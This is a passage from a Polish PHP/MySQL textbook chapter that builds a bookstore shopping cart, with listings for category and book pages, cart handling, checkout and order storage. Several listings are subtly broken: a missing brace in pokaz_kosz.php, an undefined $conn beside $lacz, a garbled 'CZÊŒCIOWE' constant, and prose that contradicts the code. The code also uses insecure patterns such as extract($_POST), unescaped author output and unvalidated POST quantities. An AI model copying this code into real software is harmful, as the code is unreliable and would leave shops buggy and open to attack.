Parametr kolejnego skryptu decyduje, która kategoria zostanie następnie wyświetlona.

Wyświetlanie książek danej kategorii


Proces wyświetlania książek danej kategorii jest podobny do powyższego. Skrypt wykonujący te
działania nosi nazwę pokaz_kat.php (zobacz listing 31.6).

Listing 31.6. pokaz_kat.php — skrypt przedstawia książki danej kategorii


<?php
include ('funkcje_ksiazka_kz.php');
// koszyk na zakupy potrzebuje sesji, zostaje więc ona rozpoczęta
session_start();

$idkat = $_GET['idkat'];
$nazwa = pobierz_nazwe_kategorii($idkat);

tworz_naglowek_html($nazwa);

// pobranie informacji o książkach z bazy danych


$tablica_ksiazek = pobierz_ksiazki($idkat);

wyswietl_ksiazki($tablica_ksiazek);

// jeżeli zalogowany jako administrator, przedstawienie łączy


// do dodawania i usuwania książek
if(isset($_SESSION['uzyt_admin']))
{
wyswietl_przycisk("indeks.php", "kontynuacja", "Kontynuacja zakupów");
wyswietl_przycisk("admin.php", "menu-admin", "Menu Administratora");
wyswietl_przycisk("edycja_kat_form.php?idkat=".urlencode($idkat),
"edycja-kategorii", "Edycja kategorii");
} else {
wyswietl_przycisk("indeks.php", "kontynuacja", "Kontynuacja zakupów");
}

tworz_stopke_html();
?>

Skrypt ten ma strukturę bardzo podobną do strony indeksu, z tą różnicą, że odczytywane są książki,
a nie kategorie.
Jak zwykle na początku następuje rozpoczęcie sesji, po czym dokonuje się konwersja przekazanego
identyfikatora kategorii na nazwę kategorii za pomocą funkcji pobierz_nazwe_kategorii():
$nazwa=pobierz_nazwe_kategorii($idkat);

Funkcja ta wyszukuje nazwę kategorii w bazie danych. Jest ona przedstawiona na listingu 31.7.
Rozdział 31.  Tworzenie koszyka na zakupy 661

Listing 31.7. Funkcja pobierz_nazwe_kategorii() umieszczona w pliku funkcje_ksiazki.php — dokonuje konwersji


identyfikatora sesji na nazwę kategorii
function pobierz_nazwe_kategorii($idkat) {
// zapytanie bazy danych o nazwę dla identyfikatora kategorii
$idkat = intval($idkat);
$lacz = lacz_bd();
$zapytanie = "select nazwakat from kategorie
where idkat = '".$lacz->real_escape_string($idkat)."'";
$wynik = @$lacz->query($zapytanie);
if (!$wynik) {
return false;
}
$ilosc_kat = @$wynik->num_rows;
if ($ilosc_kat == 0) {
return false;
}
$rzad = $wynik->fetch_object();
return $rzad->nazwakat;
}

Po odczytaniu nazwy kategorii można utworzyć nagłówek HTML i przejść do odczytania i wyświe-
tlenia książek z bazy danych należących do wybranej kategorii:
$tablica_ksiazek=pobierz_ksiazki($idkat);
wyswietl_ksiazki($tablica_ksiazek);

Funkcje pobierz_ksiazki() i wyswietl_ksiazki() są niezwykle podobne do funkcji pobierz_


kategorie() i wyswietl_kategorie(), tak więc nie zostaną tu dokładnie opisane. Jedyną różnicą
jest to, że informacje odczytywane są z tabeli ksiazki, a nie z tabeli kategorie.
Funkcja wyswietl_ksiazki() tworzy łącze do każdej książki w kategorii poprzez skrypt pokaz_
ksiazke.php. Ponownie każde łącze posiada dodany do niego parametr — tym razem jest to numer
ISBN książki.
Pod koniec skryptu pokaz_kat.php można dostrzec kod wyświetlający dodatkowe funkcje, jeżeli
zalogowany jest administrator. Kwestia ta zostanie opisana w podrozdziale poświęconym funkcjom
administracyjnym.

Przedstawianie szczegółowych danych książki


Skrypt pokaz_ksiazke.php pobiera jako parametr numer ISBN, po czym pobiera i wyświetla
szczegółowe dane tej książki. Kod tego skryptu jest przedstawiony na listingu 31.8.

Listing 31.8. pokaz_ksiazke.php — skrypt przedstawia szczegółowe dane konkretnej książki


<?php
include ('funkcje_ksiazka_kz.php');
// koszyk na zakupy potrzebuje sesji, zostaje więc ona rozpoczęta
session_start();

$isbn = $_GET['isbn'];

// pobranie książki z bazy danych


$ksiazka = pobierz_dane_ksiazki($isbn);
tworz_naglowek_html($ksiazka['tytul']);
wyswietl_dane_ksiazki($ksiazka);

// ustawienie URL-a dla przycisku „Konfiguracja”


662 Część V  Tworzenie praktycznych projektów PHP i MySQL

$cel = "indeks.php";
if($ksiazka['idkat']) {
$cel = "pokaz_kat.php?idkat=".urlencode($ksiazka['idkat']);
}

// jeżeli zalogowany jako administrator, pokaż łącze do edycji książki


if(sprawdz_uzyt_admin()) {
wyswietl_przycisk("edycja_ksiazki_form.php?isbn=".urlencode($isbn), "edycja-produktu",
"Edycja Produktu");
wyswietl_przycisk("admin.php", "menu-admin", "Menu administratora");
wyswietl_przycisk($cel, "kontynuuj", "Kontynuacja");
} else {
wyswietl_przycisk("pokaz_kosz.php?nowy=".urlencode($isbn), "dodaj-do-koszyka", "Dodaj "
.htmlspecialchars($ksiazka['tytul'])." do koszyka na zakupy");
wyswietl_przycisk($cel, "kontynuacja", "Kontynuacja zakupów");
}
tworz_stopke_html();
?>

W tym skrypcie ponownie wykonywane są działania podobne do przedstawionych na dwóch


poprzednich stronach. Skrypt rozpoczyna się od uruchomienia sesji, po czym zastosowane są
wyrażenia:
$ksiazka=pobierz_dane_ksiazki($isbn);

w celu pobrania informacji o książce z bazy danych oraz wyrażenia:


wyswietl_dane_ksiazki($ksiazka);

aby wyświetlić dane w formacie HTML.

Należy zapamiętać, że funkcja wyswietl_dane_ksiazki() szuka pliku obrazka dla książki w katalogu
obrazki/{$ksiazka['isbn']}.jpg. Jeżeli plik ten nie zostanie odnaleziony, nie ukaże się żaden
obrazek. Pozostała część skryptu pokaz_ksiazke.php konfiguruje opcje nawigacyjne. Zwykły
użytkownik będzie miał do wyboru przyciski Kontynuacja zakupów, który przeniesie go z po-
wrotem do strony kategorii, oraz Dodaj do koszyka, który doda książkę do jego koszyka na zaku-
py. Jeżeli użytkownik zalogowany jest jako administrator, otrzyma inne opcje. Przedstawimy je
w podrozdziale na temat administracji.

Powyższy skrypt dopełnia podstawowy system katalogu. Poniżej zostanie przedstawiona funk-
cjonalność koszyka na zakupy.

Implementacja koszyka na zakupy


Funkcjonalność koszyka na zakupy opiera się na zmiennej sesji o nazwie $koszyk. Zmienna ta
jest tablicą asocjacyjną zawierającą numery ISBN jako klucze i ilości jako wartości. Na przykład
jeżeli do koszyka zostanie dodany jeden egzemplarz książki PHP4. Biblia, tablica będzie zawierać:
8371973918=>1

Powyższe wyrażenie oznacza, że tablica zawiera jeden egzemplarz książki o numerze ISBN
8371973918. Kiedy w koszyku pojawią się nowe produkty, zostaną one dodane również do tablicy.
Podczas przeglądu koszyka stosuje się tablicę $koszyk w celu przejrzenia pełnych danych pro-
duktów w bazie danych.
Rozdział 31.  Tworzenie koszyka na zakupy 663

W celu kontroli informacji wyświetlanych w nagłówku, który przedstawia liczbę produktów i cał-
kowitą wartość, stosuje się dwie inne zmienne sesji. Zmienne te noszą odpowiednio nazwy:
$produkty i $calkowita_wartosc.

Stosowanie skryptu pokaz_kosz.php


Na początku opisu implementacji kodu koszyka na zakupy przedstawiono skrypt pokaz_kosz.php.
Wyświetla on stronę, na którą zostanie przeniesiony użytkownik po kliknięciu łącza Pokaż koszyk
lub Dodaj do koszyka. Jeżeli skrypt pokaz_kosz.php zostanie wywołany bez żadnych parametrów,
przedstawi on swoją zawartość. Jeżeli nastąpi wywołanie z numerem ISBN jako parametrem,
produkt o takim numerze zostanie dodany do koszyka.

Aby w pełni zrozumieć działanie tego skryptu, w pierwszej kolejności przyjrzyjmy się stronie przed-
stawionej na rysunku 31.6.

Rysunek 31.6.
Skrypt pokaz_kosz.php
wywołany bez żadnych
parametrów pokazuje
zawartość koszyka

W tym przypadku łącze Pokaż koszyk zostało wybrane, kiedy koszyk był pusty, czyli nie zostały
wskazane żadne produkty.

Rysunek 31.7 przedstawia koszyk na bardziej zaawansowanym etapie zakupów, kiedy dokonano
już wyboru dwu książek. W tym przypadku strona została wywołana przez kliknięcie łącza Dodaj
do koszyka na stronie pokaz_ksiazke.php książki PHP4. Biblia. Po bliższym przyjrzeniu się paskowi
URL-a można dostrzec, że tym razem skrypt został wywołany z parametrem. Parametr nosi nazwę
nowy i posiada wartość 8371973918 — to znaczy numer ISBN książki, która została właśnie dodana
do koszyka.

Nasuwa się zatem wniosek, że istnieją dwie nowe opcje. Znajduje się tam przycisk Zapisz zmiany,
którego można użyć do zmiany liczby produktów w koszyku. Aby to uczynić, należy bezpośrednio
zmienić liczby i nacisnąć Zapisz zmiany. Jest to właściwie przycisk wysyłający dane — przenosi
on użytkownika z powrotem do skryptu pokaz_kosz.php w celu uaktualnienia koszyka.

Dodatkowo występuje przycisk Do kasy, który użytkownik może nacisnąć, kiedy jest gotowy do
opuszczenia sklepu. Kwestia tę opiszemy w dalszej części tego rozdziału.

Godny uwagi jest kod skryptu pokaz_kosz.php, przedstawiony na listingu 31.9.


664 Część V  Tworzenie praktycznych projektów PHP i MySQL

Rysunek 31.7.
Skrypt pokaz_
kosz.php wywołany
z parametrem
nowy dodaje nowy
produkt do koszyka

Listing 31.9. pokaz_kosz.php — skrypt kontrolujący koszyk na zakupy


<?php
include ('funkcje_ksiazka_kz.php');
// koszyk na zakupy potrzebuje sesji, zostaje więc ona rozpoczęta
session_start();

@ $nowy = $_GET['nowy'];

if($nowy)
{
// wybrany nowy produkt
if(!isset($_SESSION['koszyk'])) {
$_SESSION['koszyk'] = array();
$_SESSION['produkty'] = 0;
$_SESSION['calkowita_wartosc'] ='0.00';
}

if(isset($_SESSION['koszyk'][$nowy])) {
$_SESSION['koszyk'][$nowy]++;
} else {
$_SESSION['koszyk'][$nowy] = 1;
}
$_SESSION['calkowita_wartosc'] = oblicz_wartosc($_SESSION['koszyk']);
$_SESSION['produkty'] = oblicz_produkty($_SESSION['koszyk']);

if(isset($_POST['zapisz'])) {
foreach ($_SESSION['koszyk'] as $isbn => $ilosc) {
if($_POST[$isbn] == '0') {
unset($_SESSION['koszyk'][$isbn]);
} else {
$_SESSION['koszyk'][$isbn] = $_POST[$isbn];
}
}
Rozdział 31.  Tworzenie koszyka na zakupy 665

$_SESSION['calkowita_wartosc'] = oblicz_wartosc($_SESSION['koszyk']);
$_SESSION['produkty'] = oblicz_produkty($_SESSION['koszyk']);
}

tworz_naglowek_html("Koszyk na zakupy");

if(($_SESSION['koszyk']) && (array_count_values($_SESSION['koszyk']))) {


wyswietl_koszyk($_SESSION['koszyk']);
} else {
echo "<p>Koszyk jest pusty</p><hr />";
}

$cel = "indeks.php";

// jeżeli do koszyka został właśnie dodany przedmiot


// kontynuacja zakupów w danej kategorii
if($nowy) {
$dane = pobierz_dane_ksiazki($nowy);
if($dane['idkat']) {
$cel = "pokaz_kat.php?idkat=".urlencode($dane['idkat']);
}
}
wyswietl_przycisk($cel, "kontynuacja", "Kontynuacja zakupów");

// poniższy kod należy zastosować, jeśli włączona jest obsługa SSL


// $sciezka = $_SERVER['PHP_SELF'];
// $serwer = $_SERVER['SERVER_NAME'];
// $sciezka = str_replace('pokaz_kat.php', '', $sciezka);
// wyswietl_przycisk("https://".$serwer.$sciezka."kasa.php", "idz-do-kasy",
// "Idź do kasy");

// jeśli SSL nie działa, należy zastosować poniższy kod


wyswietl_przycisk("kasa.php", "idz-do-kasy", "Idź do kasy");

tworz_stopke_html();
?>

Powyższy skrypt posiada trzy główne części — wyświetlanie koszyka, dodawanie produktów do ko-
szyka oraz zapisywanie zmian w koszyku. Zostaną one opisane w następnych trzech podrozdziałach.

Podgląd koszyka
Niezależnie od strony, z której użytkownik został skierowany, ukazuje się zawartość jego koszyka.
W przypadku najprostszym, kiedy użytkownik zwyczajnie kliknął przycisk Pokaż koszyk, jest to
jedyna wykonywana część kodu:
if(($_SESSION['koszyk']) && (array_count_values($_SESSION['koszyk']))) {
wyswietl_koszyk($_SESSION['koszyk']);
} else {
echo "<p>Koszyk jest pusty</p><hr/>";
}

A zatem jeżeli koszyk zawiera jakieś produkty, zostanie wywołana funkcja wyswietl_koszyk().
Jeżeli koszyk jest pusty, użytkownik otrzyma odpowiednią wiadomość.

Funkcja wyswietl_koszyk() po prostu wyświetla zawartość koszyka w możliwym do odczytania


formacie HTML. Jest to pokazane na rysunkach 31.6 i 31.7. Kod tej funkcji jest umieszczony
w pliku funkcje_wyswietl.php; został on także przedstawiony na listingu 31.10. Chociaż jest to
jedynie funkcja wyświetlająca, cechuje się stosunkową złożonością — zostanie więc opisana.
666 Część V  Tworzenie praktycznych projektów PHP i MySQL

Listing 31.10. Funkcja wyswietl_koszyk() pochodząca z pliku funkcje_wyswietl.php


— formatuje i wyświetla zawartość koszyka na zakupy
function wyswietl_koszyk($koszyk, $zmiana = true, $obrazki = 1) {
// wyświetlenie zawartości koszyka
// opcjonalnie pozwala na zmiany (true lub false)
// opcjonalnie dołącza obrazki(1 — tak, 0 — nie)

echo "<table border = \"0\" width = \"100%\" cellspacing = \"0\">


<form action = \"pokaz_kosz.php\" method = \"post\">
<tr><th colspan = \"". (1+$obrazki) ."\" bgcolor=\"#cccccc\">Produkt</th>
<th bgcolor=\"#cccccc\">Cena</th>
<th bgcolor=\"#cccccc\">Ilość</th>
<th bgcolor=\"#cccccc\">Wartość</th>
</tr>";

// wyświetlanie każdego produktu jako wiersza tabeli


foreach ($koszyk as $isbn => $ilosc) {
$ksiazka = pobierz_dane_ksiazki($isbn);
echo "<tr>";
if($obrazki ==true) {
echo "<td align = \"left\">";
if (file_exists("obrazki/{$isbn}.jpg")) {
$wielkosc = GetImageSize("obrazki/{$isbn}.jpg");
if(($wielkosc[0] > 0) && ($wielkosc[1] > 0)) {
echo "<img src=\"obrazki/".htmlspecialchars($isbn).".jpg\"
style=\"border:1px solid black\"
width = \"".($wielkosc[0]/3) ."\"
height = \"" .($wielkosc[1]/3) . "\"/>";
}
} else {
echo "&nbsp;";
}
echo "</td>";
}
echo "<td align = \"left\">
<a href = \"pokaz_ksiazke.php?isbn=".urlencode($isbn)."\
">".htmlspecialchars($ksiazka['tytul'])."</a>, autor ".$ksiazka['autor']."
</td><td align = \"center\">PLN ".number_format($ksiazka['cena'], 2)."
</td><td align = \"center\">";
// jeżeli zmiany są dozwolone, ilości znajdują się w polach tekstowych
if ($zmiana == true) {
echo "<input type=\"text\" name=\"".htmlspecialchars($isbn)."\"
value=\"".htmlspecialchars($ilosc)."\" size=\"3\">";
} else {
echo $ilosc;
}
echo "</td><td align = \"center\">PLN".number_format($ksiazka['cena']*$ilosc,2).
"</td></tr>\n";
}
// wyświetl wiersz sumy
echo "<tr>
<th colspan = \"". (2+$obrazki) ." bgcolor=\"#cccccc\">&nbsp;</td>
<th align = \"center\" bgcolor=\"#cccccc\">
".htmlspecialchars($_SESSION['produkty'])."
</th>
<th align = \"center\" bgcolor=\"#cccccc\">
PLN ".number_format($_SESSION['calkowita_wartosc'], 2)."
</th>
</tr>";

// wyświetl przycisk zapisujący zmiany


if($zmiana == true) {
echo "<tr>
Rozdział 31.  Tworzenie koszyka na zakupy 667

<td colspan = \"". (2+$obrazki) ."\">&nbsp;</td>


<td align = \"center\">
<input type = \"hidden\" name = \"zapisz\" value = \"true\" />
<input type = \"image\" src = \"obrazki/zapisz-zmiany.gif\"
border = \"0\" alt = \"Zapisz zmiany\">
</td>
<td>&nbsp;</td>
</tr>";
}
echo "</form></table>";
}

Podstawowy przebieg powyższej funkcji jest następujący:


1. Przeprowadzenie pętli przez każdy produkt w koszyku, przekazanie numeru ISBN każdego
produktu do funkcji pobierz_dane_ksiazki(), aby możliwe było podsumowanie danych
szczegółowych książek.
2. Przygotowanie obrazka dla każdej książki, jeżeli taki istnieje. Aby zmniejszyć nieco jego
wielkość, zastosowane są znaczniki HTML: height i width. Obrazki będą nieco zamazane,
lecz z powodu ich niewielkiego rozmiaru nie powinno to sprawiać problemu. (Jeżeli brak
wyrazistości obrazków będzie ważną kwestią, można zmienić wielkość obrazków za pomocą
biblioteki gd, którą opisaliśmy w rozdziale 22., lub ręcznie utworzyć dla każdego produktu
obrazki różnej wielkości).
3. Zdefiniowanie każdego produktu w koszyku jako łącza do odpowiedniej książki, to znaczy
do strony pokaz_ksiazke.php z numerem ISBN jako parametrem.
4. Jeżeli funkcja wywoływana jest z parametrem $zmiana ustawionym jako true
(lub nieustawionym — jego domyślna wartość to true), wyświetla ona pola tekstowe
z liczbą każdego produktu oraz przycisk Zapisz zmiany na końcu. (Kiedy funkcja ta zostanie
ponownie wykorzystana po wyjściu klienta z kasy, nie powinien on mieć możliwości
zmiany zamówienia).

Funkcja ta nie wydaje się zagadnieniem bardzo skomplikowanym, lecz ponieważ wykonuje ona
dużą ilość pracy, warto ją dokładnie przeanalizować.

Dodawanie produktów do koszyka


Jeżeli użytkownik został przeniesiony do strony pokaz_kosz.php poprzez naciśnięcie przycisku
Dodaj do koszyka, należy wykonać pewne działania przed wyświetleniem zawartości jego koszyka.
Ściślej, należy dodać do koszyka właściwy produkt, jak opisano poniżej.
Po pierwsze, jeżeli użytkownik nie dodał żadnych produktów do swojego koszyka, jeszcze go nie
posiada, należy więc koszyk utworzyć:
if(!isset($_SESSION['koszyk'])) {
$_SESSION['koszyk'] = array();
$_SESSION['produkty'] = 0;
$_SESSION['calkowita_wartosc'] ='0.00';
}

Na początku koszyk jest pusty.


Po drugie, kiedy jest już pewne, że koszyk został skonfigurowany, można dodać do niego produkt:
if(isset($_SESSION['koszyk'][$nowy])) {
$_SESSION['koszyk'][$nowy]++;
} else {
668 Część V  Tworzenie praktycznych projektów PHP i MySQL

$_SESSION['koszyk'][$nowy] = 1;
}

W tym miejscu następuje sprawdzenie, czy produkt znajduje się już w koszyku. Jeżeli tak, jego
liczba w koszyku zostaje zwiększona o jeden. Jeśli nie, zostanie on dodany do koszyka.
Po trzecie, musi być obliczona całkowita wartość i liczba produktów w koszyku. W tym celu zasto-
sowane są funkcje oblicz_wartosc() i oblicz_produkty():
$_SESSION['calkowita_wartosc'] = oblicz_wartosc($_SESSION['koszyk']);
$_SESSION['produkty'] = oblicz_produkty($_SESSION['koszyk']);

Funkcje te umieszczone są w bibliotece funkcje_ksiazki.php. Ich kod jest przedstawiony, odpo-


wiednio, na listingach 31.11 i 31.12.

Listing 31.11. Funkcja oblicz_wartosc() pochodząca z pliku funkcje_ksiazki.php — oblicza i zwraca całkowitą
wartość produktów umieszczonych w koszyku na zakupy
function oblicz_wartosc($koszyk) {
// obliczenie całkowitej wartości produktów w koszyku
$wartosc = 0.0;
if(is_array($koszyk)) {
$lacz = lacz_bd();
foreach($koszyk as $isbn => $ilosc) {
$zapytanie = "select cena from ksiazki where isbn='".
$lacz->real_escape_string($isbn)."'";
$wynik = $lacz->query($zapytanie);
if ($wynik) {
$produkt = $wynik->fetch_object();
$cena_produktu = $produkt->cena;
$wartosc +=$cena_produktu*$ilosc;
}
}
}
return $wartosc;
}

Listing 31.12. Funkcja oblicz_produkty() pochodząca z pliku funkcje_ksiazki.php — oblicza i zwraca całkowitą
liczbę produktów znajdujących się w koszyku na zakupy
function oblicz_produkty($koszyk) {
// obliczenie całkowitej ilości produktów w koszyku na zakupy
$produkty = 0;
if(is_array($koszyk)) {
foreach($koszyk as $isbn => $ilosc) {
$produkty += $ilosc;
}
}
return $produkty;
}

Jak można dostrzec, funkcja oblicz_wartosc() działa poprzez wyszukanie w bazie danych ceny
każdego produktu w koszyku. Jest to działanie dość powolne, tak więc aby uniknąć zbyt częstego
jego wykonywania, wartość (jak również całkowita liczba produktów) będzie przechowywana ja-
ko zmienna sesji i obliczana ponownie jedynie podczas zmiany zawartości koszyka.
Funkcja oblicz_produkty() jest prostsza — po prostu dodaje do siebie ilości każdego produktu
w koszyku i oblicza ich sumę przy użyciu funkcji array_sum(). Jeżeli żadna tablica jeszcze nie
istnieje (czyli gdy koszyk jest pusty), funkcja zwraca wartość 0.
Rozdział 31.  Tworzenie koszyka na zakupy 669

Zapisywanie uaktualnionego koszyka


Jeżeli użytkownik został przeniesiony do skryptu pokaz_kosz.php poprzez naciśnięcie przycisku
Zapisz zmiany, proces jest nieco inny. W tym przypadku użytkownik został przeniesiony poprzez
wysłanie formularza. Po bliższym przyjrzeniu się kodowi można zauważyć, że Zapisz zmiany
jest przyciskiem wysyłającym formularz. Formularz ten zawiera ukrytą zmienną $zapisz. Jeżeli jest
ona ustawiona, wiadomo, że przyczyną wywołania skryptu było kliknięcie przycisku Zapisz zmiany.
Oznacza to, że użytkownik dokonał edycji liczby produktów w koszyku, tak więc muszą one zostać
uaktualnione.
Jeżeli spojrzy się na pola tekstowe w części skryptu odpowiadającej za tworzenie formularza
Zapisz zmiany, znajdującej się w funkcji wyświetl_koszyk() z pliku funkcje_wyswietl.php, można
dostrzec, że nazwy ich pochodzą od numeru ISBN produktu, który przedstawiają:
echo "<input type=\"text\" name=\"".htmlspecialchars($isbn)."\"
value=\"".htmlspecialchars($ilosc)."\" size=\"3\">";

Oto fragment skryptu zapisujący zmiany:


if(isset($_POST['zapisz'])) {
foreach ($_SESSION['koszyk'] as $isbn => $ilosc) {
if($_POST[$isbn]=='0') {
unset($_SESSION['koszyk'][$isbn]);
} else {
$_SESSION['koszyk'][$isbn] = $_POST[$isbn];
}
}

$_SESSION['calkowita_wartosc'] = oblicz_wartosc($_SESSION['koszyk']);
$_SESSION['produkty'] = oblicz_produkty($_SESSION['koszyk']);
}

Można dostrzec, że analizowana jest zawartość koszyka na zakupy i dla każdego numeru ISBN
w koszyku sprawdzana jest zmienna POST o tej nazwie. Są to pola formy Zapisz zmiany.

Jeżeli któreś z tych pól będzie posiadać wartość zero, produkt ten zostanie usunięty z koszyka
za pomocą funkcji unset(). W innym przypadku koszyk jest uaktualniany tak, aby jego zawartość
pasowała do pól formularza:
if($_POST[$isbn]=='0') {
unset($_SESSION['koszyk'][$isbn]);
} else {
$_SESSION['koszyk'][$isbn] = $_POST[$isbn];
}

Po dokonaniu tych uaktualnień jest ponownie zastosowana funkcja oblicz_wartosc() i oblicz_


produkty() w celu obliczenia nowych wartości zmiennych sesji $calkowita_wartosc i $produkty.

Wyświetlanie podsumowania w pasku nagłówka


Można dostrzec, że w pasku nagłówka na każdej ze stron witryny znajduje się podsumowanie
zawartości koszyka. Otrzymuje się je poprzez wyświetlenie wartości zmiennych sesji $calkowita_
wartosc i $produkty. Działanie to wykonuje funkcja tworz_naglowek_html().

Zmienne te są zgłaszane, kiedy użytkownik po raz pierwszy odwiedza stronę pokaz_kosz.php.


Potrzebna jest więc również pewna logika pozwalająca na odpowiednie działanie, w przy-
padku gdy użytkownik nie odwiedził jeszcze tej strony. Logika ta jest również zawarta w funkcji
tworz_naglowek_html():
670 Część V  Tworzenie praktycznych projektów PHP i MySQL

if(!$_SESSION['produkty']) {
$_SESSION['produkty'] = '0';
}
if(!$_SESSION['calkowita_wartosc']) {
$_SESSION['calkowita_wartosc'] = '0.00';
}

Pobyt w kasie
Kiedy użytkownik naciska przycisk Idź do kasy znajdujący się w koszyku na zakupy, zostaje
wywołany skrypt kasa.php. Strona kasy i strony następujące po niej powinny być dostępne przez
SSL (Secure Socjet Layer); owa przykładowa aplikacja nie wymaga jednak tego (szczegółowe
informacje na temat SSL są dostępne w rozdziale 15., „Tworzenie bezpiecznych aplikacji interne-
towych”).

Strona kasy jest przedstawiona na rysunku 31.8.

Rysunek 31.8.
Skrypt kasa.php
pobiera szczegółowe
dane klienta

Skrypt ten wymaga od użytkownika podania adresu (oraz adresu dostawy, jeżeli jest on inny). Ten
stosunkowo prosty skrypt jest przedstawiony na listingu 31.13.

Listing 31.13. kasa.php — skrypt pobiera szczegółowe dane klienta


<?php
// dołączenie zbioru funkcji
include('funkcje_ksiazka_kz.php');
// koszyk na zakupy potrzebuje sesji, zostaje więc ona rozpoczęta
session_start();
Rozdział 31.  Tworzenie koszyka na zakupy 671

tworz_naglowek_html("Kasa");

if(($_SESSION['koszyk']) && (array_count_values($_SESSION['koszyk']))) {


wyswietl_koszyk($_SESSION['koszyk'], false, 0);
wyswietl_form_kasy();
} else {
echo "<p>Koszyk jest pusty</p>";
}

wyswietl_przycisk("pokaz_kosz.php", "kontynuacja", "Kontynuacja zakupów");

tworz_stopke_html();
?>

Powyższy skrypt nie kryje wielkich niespodzianek. Jeżeli koszyk jest pusty, skrypt powiadomi
o tym użytkownika. W przeciwnym wypadku wyświetli formularz przedstawiony na rysunku 31.8.

Jeżeli użytkownik będzie kontynuował działanie poprzez naciśnięcie przycisku Kupuj na dole
formularza, zostanie przeniesiony do skryptu zakup.php. Wynik uruchomienia tego skryptu jest
przedstawiony na rysunku 31.9.

Rysunek 31.9.
Skrypt zakup.php
oblicza koszty dostawy
i całkowitą wartość
zamówienia
oraz pobiera
od klienta
szczegóły płatności

Kod skryptu zakup.php jest nieco bardziej skomplikowany niż kod skryptu kasa.php (zobacz li-
sting 31.14).

Listing 31.14. zakup.php — skrypt przechowuje detale zamówienia w bazie danych i pobiera szczegóły płatności
<?php

include ('funkcje_ksiazka_kz.php');
// koszyk na zakupy potrzebuje sesji, zostaje więc ona rozpoczęta
session_start();

tworz_naglowek_html("Kasa");
672 Część V  Tworzenie praktycznych projektów PHP i MySQL

// utworzenie krótkich nazw zmiennych


$nazwisko = $_POST['nazwisko'];
$adres = $_POST['adres'];
$miasto = $_POST['miasto'];
$kod_poczt = $_POST['kod_poczt'];
$kraj = $_POST['kraj'];

// jeżeli wypełniony
if(($_SESSION['koszyk']) && ($nazwisko) && ($adres) && ($miasto) && ($kod_poczt) && ($kraj)) {
// możliwe umieszczenie danych w bazie
if( umiesc_zamowienie($_POST) != false ) {
//wyświetl koszyk bez możliwości zmian i bez obrazków
wyswietl_koszyk($_SESSION['koszyk'], false, 0);

wyswietl_dostawe(oblicz_koszt_dostawy());

// pobranie szczegółów karty kredytowej


wyswietl_form_karty($nazwisko);

wyswietl_przycisk("pokaz_kosz.php", "kontynuacja", "Kontynuacja zakupów");


} else {
echo "<p>Nie wypełniono wszystkich pól, proszę spróbować ponownie.</p>";
wyswietl_przycisk('kasa.php', 'powrot', 'Powrót');
}
} else {
echo "<p>Nie wypełniono wszystkich pól, proszę spróbować ponownie.</p><hr />";
wyswietl_przycisk('kasa.php', 'powrot', 'Powrót');
}

tworz_stopke_html();
?>

Logika powyższego skryptu jest prosta — sprawdza on, czy użytkownik wypełnił formularz
i ulokował szczegóły w bazie danych za pomocą funkcji umiesc_zamowienie(). Jest to prosta
funkcja, która umieszcza szczegółowe dane klienta w bazie danych. Jej kod jest przedstawiony
na listingu 31.15.

Listing 31.15. Funkcja umiesc_zamowienie() z pliku funkcje_zamowien.php — umieszcza wszystkie szczegóły


zamówienia klienta w bazie danych
<?php
function umiesc_zamowienie($szczegoly_zamowienia) {
// wyciągnięcie szczegółów zamówienia jako zmiennych
extract($szczegoly_zamowienia);

// ustawienie adresu dostawy na taki sam jak adres klienta


if((!$dos_nazwisko) && (!$dos_adres) && (!$dos_miasto) && (!$dos_wojew) && (!$dos_kod_poczt)
&& (!$dos_kraj)) {
$dos_nazwisko = $nazwisko;
$dos_adres = $adres;
$dos_miasto = $miasto;
$dos_wojew = $wojew;
$dos_kod_poczt = $kod_poczt;
$dos_kraj = $kraj;
}

$lacz = lacz_bd();

// Zamówienie ma zostać zapisane w ramach transakcji


// rozpoczynamy ją, wyłączając tryb autocommit;
Rozdział 31.  Tworzenie koszyka na zakupy 673

$lacz->autocommit(FALSE);

// wstawienie adresu klienta


$zapytanie = "select idklienta from klienci where
nazwisko = '". $lacz->real_escape_string($nazwisko) .
"' and adres = '". $lacz->real_escape_string($adres) . "'
and miasto = '". $lacz->real_escape_string($miasto) .
"' and wojew = '". $lacz->real_escape_string($wojew) . "'
and kod_poczt = '". $lacz->real_escape_string($kod_poczt) .
"' and kraj = '". $lacz->real_escape_string($kraj)."'";

$wynik = $lacz->query($zapytanie);

if($wynik->num_rows>0) {
$klient = $wynik->fetch_object();
$idklienta = $klient->idklienta;
} else {
$zapytanie = "insert into klienci values
(0, '" . $conn->real_escape_string($nazwisko) ."','" .
$conn->real_escape_string($adres) .
"','". $conn->real_escape_string($miasto) ."','" .
$conn->real_escape_string($wojew) .
"','". $conn->real_escape_string($kod_poczt) ."','" .
$conn->real_escape_string($kraj)."')";
$wynik = $lacz->query($zapytanie);

if (!$wynik) {
return false;
}
}

$idklienta = $lacz->insert_id;
$data = date("Y-m-d");

$zapytanie = "insert into zamowienia values


('', '".$lacz->real_escape_string($idklienta)."', '".
$lacz->real_escape_string($_SESSION['calkowita_wartosc'])."', '".
$lacz->real_escape_string($data)."', '".CZÊŒCIOWE."', '".
$lacz->real_escape_string($dos_nazwisko)."','".
$lacz->real_escape_string($dos_adres)."','".
$lacz->real_escape_string($dos_miasto)."','".
$lacz->real_escape_string($dos_wojew)."','".
$lacz->real_escape_string($dos_kod_poczt)."','".
$lacz->real_escape_string($dos_kraj)."')";
$wynik = $lacz->query($zapytanie);
if (!$wynik) {
return false;
}

$zapytanie = "select idzamowienia from zamowienia where


idklienta = '".$lacz->real_escape_string($idklienta)."' and
wartosc > (".(float)$_SESSION['calkowita_wartosc']."-.001) and
wartosc < (".(float)$_SESSION['calkowita_wartosc']."+.001) and
data = '".$lacz->real_escape_string($data)."' and
stan_zam = 'CZĘŚCIOWE' and
dos_nazwisko = '".$lacz->real_escape_string($dos_nazwisko)."' and
dos_adres = '".$lacz->real_escape_string($dos_adres)."' and
dos_miasto = '".$lacz->real_escape_string($dos_miasto)."' and
dos_wojew = '".$lacz->real_escape_string($dos_wojew)."' and
dos_kod_poczt = '".$lacz->real_escape_string($dos_kod_poczt)."' and
dos_kraj = '".$lacz->real_escape_string($dos_kraj)."'";
674 Część V  Tworzenie praktycznych projektów PHP i MySQL

$wynik = $lacz->query($zapytanie);

if($wynik->num_rows>0) {
$zamowienie = $wynik->fetch_object();
$idzam = $zamowienie->idzamowienia;
} else {
return false;
}

// umieszczenie wszystkich książek


foreach($_SESSION['koszyk'] as $isbn => $ilosc) {
$dane=pobierz_dane_ksiazki($isbn);
